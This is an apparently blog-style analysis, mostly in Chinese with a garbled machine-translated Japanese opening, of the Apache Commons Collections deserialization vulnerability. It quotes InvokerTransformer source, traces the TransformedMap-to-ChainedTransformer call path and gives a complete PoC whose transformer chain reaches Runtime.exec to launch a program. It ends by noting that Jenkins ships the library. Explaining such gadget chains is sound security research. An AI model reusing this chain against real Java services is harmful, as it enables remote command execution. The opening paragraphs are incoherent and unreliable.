Apacheのコモンズコレクションデシリアライゼーションの原理
:再排出ギャングスターこの記事では、非常に詳細に書かれたこの原則に書かれた
のLibのオーバー?Javaの直列化復元の脆弱性分析普遍的な使用
これは、2つの主要なカテゴリが含まれます。
- MAP-> TransformedMap
- トランスフォーマ> InvokerTransformer、ConstantTransformer、ChainedTransformer
Apacheのコモンズコレクション背景知識(原則として任意のコードの実行)
公式の説明によると:
コモンズ・コレクションは、新しいインターフェイス、実装とユーティリティを提供することにより、JDKクラス上に構築しようとしています。
コモンズ・コレクションは、JDKへの新しいインターフェースはコレクションクラスが付属して提供実装し、機能するように設計されています。
参考ます。https://commons.apache.org/proper/commons-collections/
地図珍しい:TransformedMap
完全修飾名は次のようになります。org.apache.commons.collections.map.TransformedMap
JDKの話スタートは地図が付属しています。マップのキーと値のペアデータ構造に格納されている(JDK java.util.Map独自インタフェース、共通のjava.util.HashMap実装クラスです)。それに応じて、Apacheのコモンズコレクションを実現TransformedMap
(「マップの変換後」文字通り具体的には、によってdecorate
方法)。
このクラスを実装マップ(間接的に継承を通じて)とシリアライズ。
変換キーインタフェースの地図:トランス
完全修飾名:org.apache.commons.collections.Transformer
看一下Transformer这个接口源代码里的注释:
它只需要被实现一个接口:
public Object transform(Object input);
接收一个对象input,然后通过transform方法将其转换成另外一个对象,然后返回,之前的对象保持不变。
特殊的InvokerTransformer
全限定名:org.apache.commons.collections.functors.InvokerTransformer
Apache Commons Collections中有一些已经实现的Transformer类,其中有一个比较特殊的,叫做InvokerTransformer,它的特殊在于可以 执行传参中指定的任意类的任意方法!
public class InvokerTransformer implements Transformer, Serializable {
...
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
前面做了大量准备,就是在等这一步漏洞触发。跟进这最后一步调试看看。
看一下这个poc里如何最后一步通过Map.Entry#setValue,调用transform方法的:
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
->
org/apache/commons/collections/map/AbstractInputCheckedMapDecorator#setValue
->
org/apache/commons/collections/map/TransformedMap#checkSetValue
->
org/apache/commons/collections/functors/ChainedTransformer#transform
对之前传入的每个Transformer都调用transform方法:
一个一个看,ConstantTransformer直接返回Runtime类:
注意到这个ChainTransformer比较特殊,其成员Transformer转换完之后返回的Object会交给下一个Transformer继续转换:
比如最开始是从ConstantTransformer返回的Runtime类对象,
进入org/apache/commons/collections/functors/InvokerTransformer#transform
看看,
经过第一个InvokerTransformer转换完成之后得到的Object是java.lang.Runtime.getRuntime()
这个Method对象。
第二个InvokerTransformer调用这个对象的invoke方法,得到一个java.lang.Runtime
对象。
最后一步演示:
总结
1、ConstantTransformer:
=>Runtime
class对象;
2、第一个InvokerTransformer:
Runtime
class对象(调用getMethod
)
=>java.lang.Runtime.getRuntime()
这个Method对象
3、第二个InvokerTransformer:
java.lang.Runtime.getRuntime()
这个Method对象(调用invoke
)
=>java.lang.Runtime
对象
4、第三个InvokerTransformer:
java.lang.Runtime
对象(调用exec
,传入参数Calculator)
=> 实现命令执行
阅读ysoserial源码,发现主要是CommonsCollections1
这个payload的代码:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
漏洞调试
在IDEA里新建一个项目,把commons-collections作为lib加进去,直接调试。
PoC
来自redrain博客。
package com.cqq;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
注意,由于我们只需要对value进行操作,所以这里:
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
在本该传key transformer的地方只传了null,因为我们没有对key进行转换。
杂
看了一下Jenkins的lib,果然有commons-collection3这个包: